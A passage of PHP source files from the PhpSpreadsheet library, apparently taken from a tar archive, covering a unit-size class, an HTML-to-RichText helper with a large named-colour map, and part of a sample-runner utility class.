self::UOM_PIXELS; } elseif (isset(self::RELATIVE_UNITS[$unit])) { $size *= self::RELATIVE_UNITS[$unit]; $size = round($size, 4); } $this->size = $size; } public function width(): float { return (float) ($this->unit === null) ? $this->size : round(Drawing::pixelsToCellDimension((int) $this->size, new Font(false)), 4); } public function height(): float { return (float) ($this->unit === null) ? $this->size : $this->toUnit(self::UOM_POINTS); } public function toUnit(string $unitOfMeasure): float { $unitOfMeasure = strtolower($unitOfMeasure); if (!array_key_exists($unitOfMeasure, self::ABSOLUTE_UNITS)) { throw new Exception("{$unitOfMeasure} is not a vaid unit of measure"); } $size = $this->size; if ($this->unit === null) { $size = Drawing::cellDimensionToPixels($size, new Font(false)); } return $size / self::ABSOLUTE_UNITS[$unitOfMeasure]; } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Html.php000064400000064452151676714400020116 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; use DOMDocument; use DOMElement; use DOMNode; use DOMText; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Font; class Html { private const COLOUR_MAP = [ 'aliceblue' => 'f0f8ff', 'antiquewhite' => 'faebd7', 'antiquewhite1' => 'ffefdb', 'antiquewhite2' => 'eedfcc', 'antiquewhite3' => 'cdc0b0', 'antiquewhite4' => '8b8378', 'aqua' => '00ffff', 'aquamarine1' => '7fffd4', 'aquamarine2' => '76eec6', 'aquamarine4' => '458b74', 'azure1' => 'f0ffff', 'azure2' => 'e0eeee', 'azure3' => 'c1cdcd', 'azure4' => '838b8b', 'beige' => 'f5f5dc', 'bisque1' => 'ffe4c4', 'bisque2' => 'eed5b7', 'bisque3' => 'cdb79e', 'bisque4' => '8b7d6b', 'black' => '000000', 'blanchedalmond' => 'ffebcd', 'blue' => '0000ff', 'blue1' => '0000ff', 'blue2' => '0000ee', 'blue4' => '00008b', 'blueviolet' => '8a2be2', 'brown' => 'a52a2a', 'brown1' => 'ff4040', 'brown2' => 'ee3b3b', 'brown3' => 'cd3333', 'brown4' => '8b2323', 'burlywood' => 'deb887', 'burlywood1' => 'ffd39b', 'burlywood2' => 'eec591', 'burlywood3' => 'cdaa7d', 'burlywood4' => '8b7355', 'cadetblue' => '5f9ea0', 'cadetblue1' => '98f5ff', 'cadetblue2' => '8ee5ee', 'cadetblue3' => '7ac5cd', 'cadetblue4' => '53868b', 'chartreuse1' => '7fff00', 'chartreuse2' => '76ee00', 'chartreuse3' => '66cd00', 'chartreuse4' => '458b00', 'chocolate' => 'd2691e', 'chocolate1' => 'ff7f24', 'chocolate2' => 'ee7621', 'chocolate3' => 'cd661d', 'coral' => 'ff7f50', 'coral1' => 'ff7256', 'coral2' => 'ee6a50', 'coral3' => 'cd5b45', 'coral4' => '8b3e2f', 'cornflowerblue' => '6495ed', 'cornsilk1' => 'fff8dc', 'cornsilk2' => 'eee8cd', 'cornsilk3' => 'cdc8b1', 'cornsilk4' => '8b8878', 'cyan1' => '00ffff', 'cyan2' => '00eeee', 'cyan3' => '00cdcd', 'cyan4' => '008b8b', 'darkgoldenrod' => 'b8860b', 'darkgoldenrod1' => 'ffb90f', 'darkgoldenrod2' => 'eead0e', 'darkgoldenrod3' => 'cd950c', 'darkgoldenrod4' => '8b6508', 'darkgreen' => '006400', 'darkkhaki' => 'bdb76b', 'darkolivegreen' => '556b2f', 'darkolivegreen1' => 'caff70', 'darkolivegreen2' => 'bcee68', 'darkolivegreen3' => 'a2cd5a', 'darkolivegreen4' => '6e8b3d', 'darkorange' => 'ff8c00', 'darkorange1' => 'ff7f00', 'darkorange2' => 'ee7600', 'darkorange3' => 'cd6600', 'darkorange4' => '8b4500', 'darkorchid' => '9932cc', 'darkorchid1' => 'bf3eff', 'darkorchid2' => 'b23aee', 'darkorchid3' => '9a32cd', 'darkorchid4' => '68228b', 'darksalmon' => 'e9967a', 'darkseagreen' => '8fbc8f', 'darkseagreen1' => 'c1ffc1', 'darkseagreen2' => 'b4eeb4', 'darkseagreen3' => '9bcd9b', 'darkseagreen4' => '698b69', 'darkslateblue' => '483d8b', 'darkslategray' => '2f4f4f', 'darkslategray1' => '97ffff', 'darkslategray2' => '8deeee', 'darkslategray3' => '79cdcd', 'darkslategray4' => '528b8b', 'darkturquoise' => '00ced1', 'darkviolet' => '9400d3', 'deeppink1' => 'ff1493', 'deeppink2' => 'ee1289', 'deeppink3' => 'cd1076', 'deeppink4' => '8b0a50', 'deepskyblue1' => '00bfff', 'deepskyblue2' => '00b2ee', 'deepskyblue3' => '009acd', 'deepskyblue4' => '00688b', 'dimgray' => '696969', 'dodgerblue1' => '1e90ff', 'dodgerblue2' => '1c86ee', 'dodgerblue3' => '1874cd', 'dodgerblue4' => '104e8b', 'firebrick' => 'b22222', 'firebrick1' => 'ff3030', 'firebrick2' => 'ee2c2c', 'firebrick3' => 'cd2626', 'firebrick4' => '8b1a1a', 'floralwhite' => 'fffaf0', 'forestgreen' => '228b22', 'fuchsia' => 'ff00ff', 'gainsboro' => 'dcdcdc', 'ghostwhite' => 'f8f8ff', 'gold1' => 'ffd700', 'gold2' => 'eec900', 'gold3' => 'cdad00', 'gold4' => '8b7500', 'goldenrod' => 'daa520', 'goldenrod1' => 'ffc125', 'goldenrod2' => 'eeb422', 'goldenrod3' => 'cd9b1d', 'goldenrod4' => '8b6914', 'gray' => 'bebebe', 'gray1' => '030303', 'gray10' => '1a1a1a', 'gray11' => '1c1c1c', 'gray12' => '1f1f1f', 'gray13' => '212121', 'gray14' => '242424', 'gray15' => '262626', 'gray16' => '292929', 'gray17' => '2b2b2b', 'gray18' => '2e2e2e', 'gray19' => '303030', 'gray2' => '050505', 'gray20' => '333333', 'gray21' => '363636', 'gray22' => '383838', 'gray23' => '3b3b3b', 'gray24' => '3d3d3d', 'gray25' => '404040', 'gray26' => '424242', 'gray27' => '454545', 'gray28' => '474747', 'gray29' => '4a4a4a', 'gray3' => '080808', 'gray30' => '4d4d4d', 'gray31' => '4f4f4f', 'gray32' => '525252', 'gray33' => '545454', 'gray34' => '575757', 'gray35' => '595959', 'gray36' => '5c5c5c', 'gray37' => '5e5e5e', 'gray38' => '616161', 'gray39' => '636363', 'gray4' => '0a0a0a', 'gray40' => '666666', 'gray41' => '696969', 'gray42' => '6b6b6b', 'gray43' => '6e6e6e', 'gray44' => '707070', 'gray45' => '737373', 'gray46' => '757575', 'gray47' => '787878', 'gray48' => '7a7a7a', 'gray49' => '7d7d7d', 'gray5' => '0d0d0d', 'gray50' => '7f7f7f', 'gray51' => '828282', 'gray52' => '858585', 'gray53' => '878787', 'gray54' => '8a8a8a', 'gray55' => '8c8c8c', 'gray56' => '8f8f8f', 'gray57' => '919191', 'gray58' => '949494', 'gray59' => '969696', 'gray6' => '0f0f0f', 'gray60' => '999999', 'gray61' => '9c9c9c', 'gray62' => '9e9e9e', 'gray63' => 'a1a1a1', 'gray64' => 'a3a3a3', 'gray65' => 'a6a6a6', 'gray66' => 'a8a8a8', 'gray67' => 'ababab', 'gray68' => 'adadad', 'gray69' => 'b0b0b0', 'gray7' => '121212', 'gray70' => 'b3b3b3', 'gray71' => 'b5b5b5', 'gray72' => 'b8b8b8', 'gray73' => 'bababa', 'gray74' => 'bdbdbd', 'gray75' => 'bfbfbf', 'gray76' => 'c2c2c2', 'gray77' => 'c4c4c4', 'gray78' => 'c7c7c7', 'gray79' => 'c9c9c9', 'gray8' => '141414', 'gray80' => 'cccccc', 'gray81' => 'cfcfcf', 'gray82' => 'd1d1d1', 'gray83' => 'd4d4d4', 'gray84' => 'd6d6d6', 'gray85' => 'd9d9d9', 'gray86' => 'dbdbdb', 'gray87' => 'dedede', 'gray88' => 'e0e0e0', 'gray89' => 'e3e3e3', 'gray9' => '171717', 'gray90' => 'e5e5e5', 'gray91' => 'e8e8e8', 'gray92' => 'ebebeb', 'gray93' => 'ededed', 'gray94' => 'f0f0f0', 'gray95' => 'f2f2f2', 'gray97' => 'f7f7f7', 'gray98' => 'fafafa', 'gray99' => 'fcfcfc', 'green' => '00ff00', 'green1' => '00ff00', 'green2' => '00ee00', 'green3' => '00cd00', 'green4' => '008b00', 'greenyellow' => 'adff2f', 'honeydew1' => 'f0fff0', 'honeydew2' => 'e0eee0', 'honeydew3' => 'c1cdc1', 'honeydew4' => '838b83', 'hotpink' => 'ff69b4', 'hotpink1' => 'ff6eb4', 'hotpink2' => 'ee6aa7', 'hotpink3' => 'cd6090', 'hotpink4' => '8b3a62', 'indianred' => 'cd5c5c', 'indianred1' => 'ff6a6a', 'indianred2' => 'ee6363', 'indianred3' => 'cd5555', 'indianred4' => '8b3a3a', 'ivory1' => 'fffff0', 'ivory2' => 'eeeee0', 'ivory3' => 'cdcdc1', 'ivory4' => '8b8b83', 'khaki' => 'f0e68c', 'khaki1' => 'fff68f', 'khaki2' => 'eee685', 'khaki3' => 'cdc673', 'khaki4' => '8b864e', 'lavender' => 'e6e6fa', 'lavenderblush1' => 'fff0f5', 'lavenderblush2' => 'eee0e5', 'lavenderblush3' => 'cdc1c5', 'lavenderblush4' => '8b8386', 'lawngreen' => '7cfc00', 'lemonchiffon1' => 'fffacd', 'lemonchiffon2' => 'eee9bf', 'lemonchiffon3' => 'cdc9a5', 'lemonchiffon4' => '8b8970', 'light' => 'eedd82', 'lightblue' => 'add8e6', 'lightblue1' => 'bfefff', 'lightblue2' => 'b2dfee', 'lightblue3' => '9ac0cd', 'lightblue4' => '68838b', 'lightcoral' => 'f08080', 'lightcyan1' => 'e0ffff', 'lightcyan2' => 'd1eeee', 'lightcyan3' => 'b4cdcd', 'lightcyan4' => '7a8b8b', 'lightgoldenrod1' => 'ffec8b', 'lightgoldenrod2' => 'eedc82', 'lightgoldenrod3' => 'cdbe70', 'lightgoldenrod4' => '8b814c', 'lightgoldenrodyellow' => 'fafad2', 'lightgray' => 'd3d3d3', 'lightpink' => 'ffb6c1', 'lightpink1' => 'ffaeb9', 'lightpink2' => 'eea2ad', 'lightpink3' => 'cd8c95', 'lightpink4' => '8b5f65', 'lightsalmon1' => 'ffa07a', 'lightsalmon2' => 'ee9572', 'lightsalmon3' => 'cd8162', 'lightsalmon4' => '8b5742', 'lightseagreen' => '20b2aa', 'lightskyblue' => '87cefa', 'lightskyblue1' => 'b0e2ff', 'lightskyblue2' => 'a4d3ee', 'lightskyblue3' => '8db6cd', 'lightskyblue4' => '607b8b', 'lightslateblue' => '8470ff', 'lightslategray' => '778899', 'lightsteelblue' => 'b0c4de', 'lightsteelblue1' => 'cae1ff', 'lightsteelblue2' => 'bcd2ee', 'lightsteelblue3' => 'a2b5cd', 'lightsteelblue4' => '6e7b8b', 'lightyellow1' => 'ffffe0', 'lightyellow2' => 'eeeed1', 'lightyellow3' => 'cdcdb4', 'lightyellow4' => '8b8b7a', 'lime' => '00ff00', 'limegreen' => '32cd32', 'linen' => 'faf0e6', 'magenta' => 'ff00ff', 'magenta2' => 'ee00ee', 'magenta3' => 'cd00cd', 'magenta4' => '8b008b', 'maroon' => 'b03060', 'maroon1' => 'ff34b3', 'maroon2' => 'ee30a7', 'maroon3' => 'cd2990', 'maroon4' => '8b1c62', 'medium' => '66cdaa', 'mediumaquamarine' => '66cdaa', 'mediumblue' => '0000cd', 'mediumorchid' => 'ba55d3', 'mediumorchid1' => 'e066ff', 'mediumorchid2' => 'd15fee', 'mediumorchid3' => 'b452cd', 'mediumorchid4' => '7a378b', 'mediumpurple' => '9370db', 'mediumpurple1' => 'ab82ff', 'mediumpurple2' => '9f79ee', 'mediumpurple3' => '8968cd', 'mediumpurple4' => '5d478b', 'mediumseagreen' => '3cb371', 'mediumslateblue' => '7b68ee', 'mediumspringgreen' => '00fa9a', 'mediumturquoise' => '48d1cc', 'mediumvioletred' => 'c71585', 'midnightblue' => '191970', 'mintcream' => 'f5fffa', 'mistyrose1' => 'ffe4e1', 'mistyrose2' => 'eed5d2', 'mistyrose3' => 'cdb7b5', 'mistyrose4' => '8b7d7b', 'moccasin' => 'ffe4b5', 'navajowhite1' => 'ffdead', 'navajowhite2' => 'eecfa1', 'navajowhite3' => 'cdb38b', 'navajowhite4' => '8b795e', 'navy' => '000080', 'navyblue' => '000080', 'oldlace' => 'fdf5e6', 'olive' => '808000', 'olivedrab' => '6b8e23', 'olivedrab1' => 'c0ff3e', 'olivedrab2' => 'b3ee3a', 'olivedrab4' => '698b22', 'orange' => 'ffa500', 'orange1' => 'ffa500', 'orange2' => 'ee9a00', 'orange3' => 'cd8500', 'orange4' => '8b5a00', 'orangered1' => 'ff4500', 'orangered2' => 'ee4000', 'orangered3' => 'cd3700', 'orangered4' => '8b2500', 'orchid' => 'da70d6', 'orchid1' => 'ff83fa', 'orchid2' => 'ee7ae9', 'orchid3' => 'cd69c9', 'orchid4' => '8b4789', 'pale' => 'db7093', 'palegoldenrod' => 'eee8aa', 'palegreen' => '98fb98', 'palegreen1' => '9aff9a', 'palegreen2' => '90ee90', 'palegreen3' => '7ccd7c', 'palegreen4' => '548b54', 'paleturquoise' => 'afeeee', 'paleturquoise1' => 'bbffff', 'paleturquoise2' => 'aeeeee', 'paleturquoise3' => '96cdcd', 'paleturquoise4' => '668b8b', 'palevioletred' => 'db7093', 'palevioletred1' => 'ff82ab', 'palevioletred2' => 'ee799f', 'palevioletred3' => 'cd6889', 'palevioletred4' => '8b475d', 'papayawhip' => 'ffefd5', 'peachpuff1' => 'ffdab9', 'peachpuff2' => 'eecbad', 'peachpuff3' => 'cdaf95', 'peachpuff4' => '8b7765', 'pink' => 'ffc0cb', 'pink1' => 'ffb5c5', 'pink2' => 'eea9b8', 'pink3' => 'cd919e', 'pink4' => '8b636c', 'plum' => 'dda0dd', 'plum1' => 'ffbbff', 'plum2' => 'eeaeee', 'plum3' => 'cd96cd', 'plum4' => '8b668b', 'powderblue' => 'b0e0e6', 'purple' => 'a020f0', 'rebeccapurple' => '663399', 'purple1' => '9b30ff', 'purple2' => '912cee', 'purple3' => '7d26cd', 'purple4' => '551a8b', 'red' => 'ff0000', 'red1' => 'ff0000', 'red2' => 'ee0000', 'red3' => 'cd0000', 'red4' => '8b0000', 'rosybrown' => 'bc8f8f', 'rosybrown1' => 'ffc1c1', 'rosybrown2' => 'eeb4b4', 'rosybrown3' => 'cd9b9b', 'rosybrown4' => '8b6969', 'royalblue' => '4169e1', 'royalblue1' => '4876ff', 'royalblue2' => '436eee', 'royalblue3' => '3a5fcd', 'royalblue4' => '27408b', 'saddlebrown' => '8b4513', 'salmon' => 'fa8072', 'salmon1' => 'ff8c69', 'salmon2' => 'ee8262', 'salmon3' => 'cd7054', 'salmon4' => '8b4c39', 'sandybrown' => 'f4a460', 'seagreen1' => '54ff9f', 'seagreen2' => '4eee94', 'seagreen3' => '43cd80', 'seagreen4' => '2e8b57', 'seashell1' => 'fff5ee', 'seashell2' => 'eee5de', 'seashell3' => 'cdc5bf', 'seashell4' => '8b8682', 'sienna' => 'a0522d', 'sienna1' => 'ff8247', 'sienna2' => 'ee7942', 'sienna3' => 'cd6839', 'sienna4' => '8b4726', 'silver' => 'c0c0c0', 'skyblue' => '87ceeb', 'skyblue1' => '87ceff', 'skyblue2' => '7ec0ee', 'skyblue3' => '6ca6cd', 'skyblue4' => '4a708b', 'slateblue' => '6a5acd', 'slateblue1' => '836fff', 'slateblue2' => '7a67ee', 'slateblue3' => '6959cd', 'slateblue4' => '473c8b', 'slategray' => '708090', 'slategray1' => 'c6e2ff', 'slategray2' => 'b9d3ee', 'slategray3' => '9fb6cd', 'slategray4' => '6c7b8b', 'snow1' => 'fffafa', 'snow2' => 'eee9e9', 'snow3' => 'cdc9c9', 'snow4' => '8b8989', 'springgreen1' => '00ff7f', 'springgreen2' => '00ee76', 'springgreen3' => '00cd66', 'springgreen4' => '008b45', 'steelblue' => '4682b4', 'steelblue1' => '63b8ff', 'steelblue2' => '5cacee', 'steelblue3' => '4f94cd', 'steelblue4' => '36648b', 'tan' => 'd2b48c', 'tan1' => 'ffa54f', 'tan2' => 'ee9a49', 'tan3' => 'cd853f', 'tan4' => '8b5a2b', 'teal' => '008080', 'thistle' => 'd8bfd8', 'thistle1' => 'ffe1ff', 'thistle2' => 'eed2ee', 'thistle3' => 'cdb5cd', 'thistle4' => '8b7b8b', 'tomato1' => 'ff6347', 'tomato2' => 'ee5c42', 'tomato3' => 'cd4f39', 'tomato4' => '8b3626', 'turquoise' => '40e0d0', 'turquoise1' => '00f5ff', 'turquoise2' => '00e5ee', 'turquoise3' => '00c5cd', 'turquoise4' => '00868b', 'violet' => 'ee82ee', 'violetred' => 'd02090', 'violetred1' => 'ff3e96', 'violetred2' => 'ee3a8c', 'violetred3' => 'cd3278', 'violetred4' => '8b2252', 'wheat' => 'f5deb3', 'wheat1' => 'ffe7ba', 'wheat2' => 'eed8ae', 'wheat3' => 'cdba96', 'wheat4' => '8b7e66', 'white' => 'ffffff', 'whitesmoke' => 'f5f5f5', 'yellow' => 'ffff00', 'yellow1' => 'ffff00', 'yellow2' => 'eeee00', 'yellow3' => 'cdcd00', 'yellow4' => '8b8b00', 'yellowgreen' => '9acd32', ]; /** @var ?string */ private ?string $face = null; /** @var ?string */ private ?string $size = null; /** @var ?string */ private ?string $color = null; private bool $bold = false; private bool $italic = false; private bool $underline = false; private bool $superscript = false; private bool $subscript = false; private bool $strikethrough = false; /** @var callable[] */ private array $startTagCallbacks = [ 'font' => [self::class, 'startFontTag'], 'b' => [self::class, 'startBoldTag'], 'strong' => [self::class, 'startBoldTag'], 'i' => [self::class, 'startItalicTag'], 'em' => [self::class, 'startItalicTag'], 'u' => [self::class, 'startUnderlineTag'], 'ins' => [self::class, 'startUnderlineTag'], 'del' => [self::class, 'startStrikethruTag'], 'sup' => [self::class, 'startSuperscriptTag'], 'sub' => [self::class, 'startSubscriptTag'], ]; /** @var callable[] */ private array $endTagCallbacks = [ 'font' => [self::class, 'endFontTag'], 'b' => [self::class, 'endBoldTag'], 'strong' => [self::class, 'endBoldTag'], 'i' => [self::class, 'endItalicTag'], 'em' => [self::class, 'endItalicTag'], 'u' => [self::class, 'endUnderlineTag'], 'ins' => [self::class, 'endUnderlineTag'], 'del' => [self::class, 'endStrikethruTag'], 'sup' => [self::class, 'endSuperscriptTag'], 'sub' => [self::class, 'endSubscriptTag'], 'br' => [self::class, 'breakTag'], 'p' => [self::class, 'breakTag'], 'h1' => [self::class, 'breakTag'], 'h2' => [self::class, 'breakTag'], 'h3' => [self::class, 'breakTag'], 'h4' => [self::class, 'breakTag'], 'h5' => [self::class, 'breakTag'], 'h6' => [self::class, 'breakTag'], ]; private array $stack = []; public string $stringData = ''; private RichText $richTextObject; private bool $preserveWhiteSpace = false; private function initialise(): void { $this->face = $this->size = $this->color = null; $this->bold = $this->italic = $this->underline = $this->superscript = $this->subscript = $this->strikethrough = false; $this->stack = []; $this->stringData = ''; } /** * Parse HTML formatting and return the resulting RichText. */ public function toRichTextObject(string $html, bool $preserveWhiteSpace = false): RichText { $this->initialise(); // Create a new DOM object $dom = new DOMDocument(); // Load the HTML file into the DOM object // Note the use of error suppression, because typically this will be an html fragment, so not fully valid markup $prefix = '<?xml encoding="UTF-8">'; @$dom->loadHTML($prefix . $html, LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD); // Discard excess white space $dom->preserveWhiteSpace = false; $this->richTextObject = new RichText(); $this->preserveWhiteSpace = $preserveWhiteSpace; $this->parseElements($dom); $this->preserveWhiteSpace = false; // Clean any further spurious whitespace $this->cleanWhitespace(); return $this->richTextObject; } private function cleanWhitespace(): void { foreach ($this->richTextObject->getRichTextElements() as $key => $element) { $text = $element->getText(); // Trim any leading spaces on the first run if ($key == 0) { $text = ltrim($text); } // Trim any spaces immediately after a line break $text = (string) preg_replace('/\n */mu', "\n", $text); $element->setText($text); } } private function buildTextRun(): void { $text = $this->stringData; if (trim($text) === '') { return; } $richtextRun = $this->richTextObject->createTextRun($this->stringData); $font = $richtextRun->getFont(); if ($font !== null) { if ($this->face) { $font->setName($this->face); } if ($this->size) { $font->setSize($this->size); } if ($this->color) { $font->setColor(new Color('ff' . $this->color)); } if ($this->bold) { $font->setBold(true); } if ($this->italic) { $font->setItalic(true); } if ($this->underline) { $font->setUnderline(Font::UNDERLINE_SINGLE); } if ($this->superscript) { $font->setSuperscript(true); } if ($this->subscript) { $font->setSubscript(true); } if ($this->strikethrough) { $font->setStrikethrough(true); } } $this->stringData = ''; } private function rgbToColour(string $rgbValue): string { preg_match_all('/\d+/', $rgbValue, $values); foreach ($values[0] as &$value) { $value = str_pad(dechex($value), 2, '0', STR_PAD_LEFT); } return implode('', $values[0]); } public static function colourNameLookup(string $colorName): string { return self::COLOUR_MAP[$colorName] ?? ''; } protected function startFontTag(DOMElement $tag): void { $attrs = $tag->attributes; if ($attrs !== null) { foreach ($attrs as $attribute) { $attributeName = strtolower($attribute->name); $attributeName = preg_replace('/^html:/', '', $attributeName) ?? $attributeName; // in case from Xml spreadsheet $attributeValue = $attribute->value; if ($attributeName == 'color') { if (preg_match('/rgb\s*\(/', $attributeValue)) { $this->$attributeName = $this->rgbToColour($attributeValue); } elseif (str_starts_with(trim($attributeValue), '#')) { $this->$attributeName = ltrim($attributeValue, '#'); } else { $this->$attributeName = static::colourNameLookup($attributeValue); } } else { $this->$attributeName = $attributeValue; } } } } protected function endFontTag(): void { $this->face = $this->size = $this->color = null; } protected function startBoldTag(): void { $this->bold = true; } protected function endBoldTag(): void { $this->bold = false; } protected function startItalicTag(): void { $this->italic = true; } protected function endItalicTag(): void { $this->italic = false; } protected function startUnderlineTag(): void { $this->underline = true; } protected function endUnderlineTag(): void { $this->underline = false; } protected function startSubscriptTag(): void { $this->subscript = true; } protected function endSubscriptTag(): void { $this->subscript = false; } protected function startSuperscriptTag(): void { $this->superscript = true; } protected function endSuperscriptTag(): void { $this->superscript = false; } protected function startStrikethruTag(): void { $this->strikethrough = true; } protected function endStrikethruTag(): void { $this->strikethrough = false; } public function breakTag(): void { $this->stringData .= "\n"; } private function parseTextNode(DOMText $textNode): void { if ($this->preserveWhiteSpace) { $domText = $textNode->nodeValue ?? ''; } else { $domText = (string) preg_replace( '/\s+/u', ' ', str_replace(["\r", "\n"], ' ', $textNode->nodeValue ?? '') ); } $this->stringData .= $domText; $this->buildTextRun(); } public function addStartTagCallback(string $tag, callable $callback): void { $this->startTagCallbacks[$tag] = $callback; } public function addEndTagCallback(string $tag, callable $callback): void { $this->endTagCallbacks[$tag] = $callback; } /** @param callable[] $callbacks */ private function handleCallback(DOMElement $element, string $callbackTag, array $callbacks): void { if (isset($callbacks[$callbackTag])) { $elementHandler = $callbacks[$callbackTag]; if (is_callable($elementHandler)) { call_user_func($elementHandler, $element, $this); } } } private function parseElementNode(DOMElement $element): void { $callbackTag = strtolower($element->nodeName); $this->stack[] = $callbackTag; $this->handleCallback($element, $callbackTag, $this->startTagCallbacks); $this->parseElements($element); array_pop($this->stack); $this->handleCallback($element, $callbackTag, $this->endTagCallbacks); } private function parseElements(DOMNode $element): void { foreach ($element->childNodes as $child) { if ($child instanceof DOMText) { $this->parseTextNode($child); } elseif ($child instanceof DOMElement) { $this->parseElementNode($child); } } } } phpoffice/phpspreadsheet/src/PhpSpreadsheet/Helper/Sample.php000064400000023245151676714400020426 0ustar00<?php namespace PhpOffice\PhpSpreadsheet\Helper; use PhpOffice\PhpSpreadsheet\Chart\Chart; use PhpOffice\PhpSpreadsheet\Chart\Renderer\MtJpGraphRenderer; use PhpOffice\PhpSpreadsheet\IOFactory; use PhpOffice\PhpSpreadsheet\Settings; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Worksheet\Worksheet; use PhpOffice\PhpSpreadsheet\Writer\IWriter; use RecursiveDirectoryIterator; use RecursiveIteratorIterator; use RecursiveRegexIterator; use ReflectionClass; use RegexIterator; use RuntimeException; use Throwable; /** * Helper class to be used in sample code. */ class Sample { /** * Returns whether we run on CLI or browser. */ public function isCli(): bool { return PHP_SAPI === 'cli'; } /** * Return the filename currently being executed. */ public function getScriptFilename(): string { return basename($_SERVER['SCRIPT_FILENAME'], '.php'); } /** * Whether we are executing the index page. */ public function isIndex(): bool { return $this->getScriptFilename() === 'index'; } /** * Return the page title. */ public function getPageTitle(): string { return $this->isIndex() ? 'PHPSpreadsheet' : $this->getScriptFilename(); } /** * Return the page heading. */ public function getPageHeading(): string { return $this->isIndex() ? '' : '<h1>' . str_replace('_', ' ', $this->getScriptFilename()) . '</h1>'; } /** * Returns an array of all known samples. * * @return string[][] [$name => $path] */ public function getSamples(): array { // Populate samples $baseDir = realpath(__DIR__ . '/../../../samples'); if ($baseDir === false) { // @codeCoverageIgnoreStart throw new RuntimeException('realpath returned false'); // @codeCoverageIgnoreEnd } $directory = new RecursiveDirectoryIterator($baseDir); $iterator = new RecursiveIteratorIterator($directory); $regex = new RegexIterator($iterator, '/^.+\.php$/', RecursiveRegexIterator::GET_MATCH); $files = []; foreach ($regex as $file) { $file = str_replace(str_replace('\\', '/', $baseDir) . '/', '', str_replace('\\', '/', $file[0])); if (is_array($file)) { // @codeCoverageIgnoreStart throw new RuntimeException('str_replace returned array'); // @codeCoverageIgnoreEnd } $info = pathinfo($file); $category = str_replace('_', ' ', $info['dirname'] ?? ''); $name = str_replace('_', ' ', (string) preg_replace('/(|\.php)/', '', $info['filename'])); if (!in_array($category, ['.', 'bootstrap', 'templates']) && $name !== 'Header') { if (!isset($files[$category])) { $files[$category] = []; } $files[$category][$name] = $file; } } // Sort everything ksort($files); foreach ($files as &$f) { asort($f); } return $files; } /** * Write documents. * * @param string[] $writers */ public function write(Spreadsheet $spreadsheet, string $filename, array $writers = ['Xlsx', 'Xls'], bool $withCharts = false, ?callable $writerCallback = null, bool $resetActiveSheet = true): void { // Set active sheet index to the first sheet, so Excel opens this as the first sheet if ($resetActiveSheet) { $spreadsheet->setActiveSheetIndex(0); } // Write documents foreach ($writers as $writerType) { $path = $this->getFilename($filename, mb_strtolower($writerType)); $writer = IOFactory::createWriter($spreadsheet, $writerType); $writer->setIncludeCharts($withCharts); if ($writerCallback !== null) { $writerCallback($writer); } $callStartTime = microtime(true); $writer->save($path); $this->logWrite($writer, $path, $callStartTime); if ($this->isCli() === false) { // @codeCoverageIgnoreStart echo '<a href="/download.php?type=' . pathinfo($path, PATHINFO_EXTENSION) . '&name=' . basename($path) . '">Download ' . basename($path) . '</a><br />'; // @codeCoverageIgnoreEnd } } $this->logEndingNotes(); } protected function isDirOrMkdir(string $folder): bool { return \is_dir($folder) || \mkdir($folder); } /** * Returns the temporary directory and make sure it exists. */ public function getTemporaryFolder(): string { $tempFolder = sys_get_temp_dir() . '/phpspreadsheet'; if (!$this->isDirOrMkdir($tempFolder)) { throw new RuntimeException(sprintf('Directory "%s" was not created', $tempFolder)); } return $tempFolder; } /** * Returns the filename that should be used for sample output. */ public function getFilename(string $filename, string $extension = 'xlsx'): string { $originalExtension = pathinfo($filename, PATHINFO_EXTENSION); return $this->getTemporaryFolder() . '/' . str_replace('.' . $originalExtension, '.' . $extension, basename($filename)); } /** * Return a random temporary file name. */ public function getTemporaryFilename(string $extension = 'xlsx'): string { $temporaryFilename = tempnam($this->getTemporaryFolder(), 'phpspreadsheet-'); if ($temporaryFilename === false) { // @codeCoverageIgnoreStart throw new RuntimeException('tempnam returned false'); // @codeCoverageIgnoreEnd } unlink($temporaryFilename); return $temporaryFilename . '.' . $extension; } public function log(string $message): void { $eol = $this->isCli() ? PHP_EOL : '<br />'; echo ($this->isCli() ? date('H:i:s ') : '') . $message . $eol; } /** * Render chart as part of running chart samples in browser. * Charts are not rendered in unit tests, which are command line. * * @codeCoverageIgnore */ public function renderChart(Chart $chart, string $fileName, ?Spreadsheet $spreadsheet = null): void { if ($this->isCli() === true) { return; } Settings::setChartRenderer(MtJpGraphRenderer::class); $fileName = $this->getFilename($fileName, 'png'); $title = $chart->getTitle(); $caption = null; if ($title !== null) { $calculatedTitle = $title->getCalculatedTitle($spreadsheet); if ($calculatedTitle !== null) { $caption = $title->getCaption(); $title->setCaption($calculatedTitle); } } try { $chart->render($fileName); $this->log('Rendered image: ' . $fileName); $imageData = @file_get_contents($fileName); if ($imageData !== false) { echo '<div><img src="data:image/gif;base64,' . base64_encode($imageData) . '" /></div>'; } else { $this->log('Unable to open chart' . PHP_EOL); } } catch (Throwable $e) { $this->log('Error rendering chart: ' . $e->getMessage() . PHP_EOL); } if (isset($title, $caption)) { $title->setCaption($caption); } Settings::unsetChartRenderer(); } public function titles(string $category, string $functionName, ?string $description = null): void { $this->log(sprintf('%s Functions:', $category)); $description === null ? $this->log(sprintf('Function: %s()', rtrim($functionName, '()'))) : $this->log(sprintf('Function: %s() - %s.', rtrim($functionName, '()'), rtrim($description, '.'))); } public function displayGrid(array $matrix): void { $renderer = new TextGrid($matrix, $this->isCli()); echo $renderer->render(); } public function logCalculationResult( Worksheet $worksheet, string $functionName, string $formulaCell, ?string $descriptionCell = null ): void { if ($descriptionCell !== null) { $this->log($worksheet->getCell($descriptionCell)->getValue()); } $this->log($worksheet->getCell($formulaCell)->getValue()); $this->log(sprintf('%s() Result is ', $functionName) . $worksheet->getCell($formulaCell)->getCalculatedValue()); } /** * Log ending notes. */ public function logEndingNotes(): void { // Do not show execution time for index $this->log('Peak memory usage: ' . (memory_get_peak_usage(true) / 1024 / 1024) . 'MB'); } /** * Log a line about the write operation. */ public function logWrite(IWriter $writer, string $path, float $callStartTime): void { $callEndTime = microtime(true); $callTime = $callEndTime - $callStartTime; $reflection = new ReflectionClass($writer); $format = $reflection->getShortName(); $codePath = $this->isCli() ? $path : "<code>$path</code>"; $message = "Write {$format} format to {$codePath} in " . sprintf('%.4f', $callTime) . ' 